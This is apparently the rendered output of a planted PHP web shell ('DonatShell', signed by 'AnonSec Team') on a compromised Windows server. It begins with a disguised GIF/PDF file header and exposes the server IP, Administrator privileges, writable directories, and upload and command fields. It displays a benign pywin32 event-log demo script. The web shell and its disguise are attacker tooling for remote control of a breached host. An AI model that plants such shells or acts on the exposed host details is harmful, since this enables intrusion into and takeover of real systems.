GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.119
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files (x86)/Certbot/pkgs/win32/Demos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files (x86)/Certbot/pkgs/win32/Demos//EvtSubscribe_pull.py
## Demonstrates how to create a "pull" subscription
import win32evtlog, win32event, win32con
query_text='*[System[Provider[@Name="Microsoft-Windows-Winlogon"]]]'

h=win32event.CreateEvent(None, 0, 0, None)
s=win32evtlog.EvtSubscribe('System', win32evtlog.EvtSubscribeStartAtOldestRecord, SignalEvent=h, Query=query_text)

while 1:
	while 1:
		events=win32evtlog.EvtNext(s, 10)
		if len(events)==0:
			break
		##for event in events:
		##	print(win32evtlog.EvtRender(event, win32evtlog.EvtRenderEventXml))
		print('retrieved %s events' %len(events))
	while 1:
		print ('waiting...')
		w=win32event.WaitForSingleObjectEx(h, 2000, True)
		if w==win32con.WAIT_OBJECT_0:
			break


Anon7 - 2022
AnonSec Team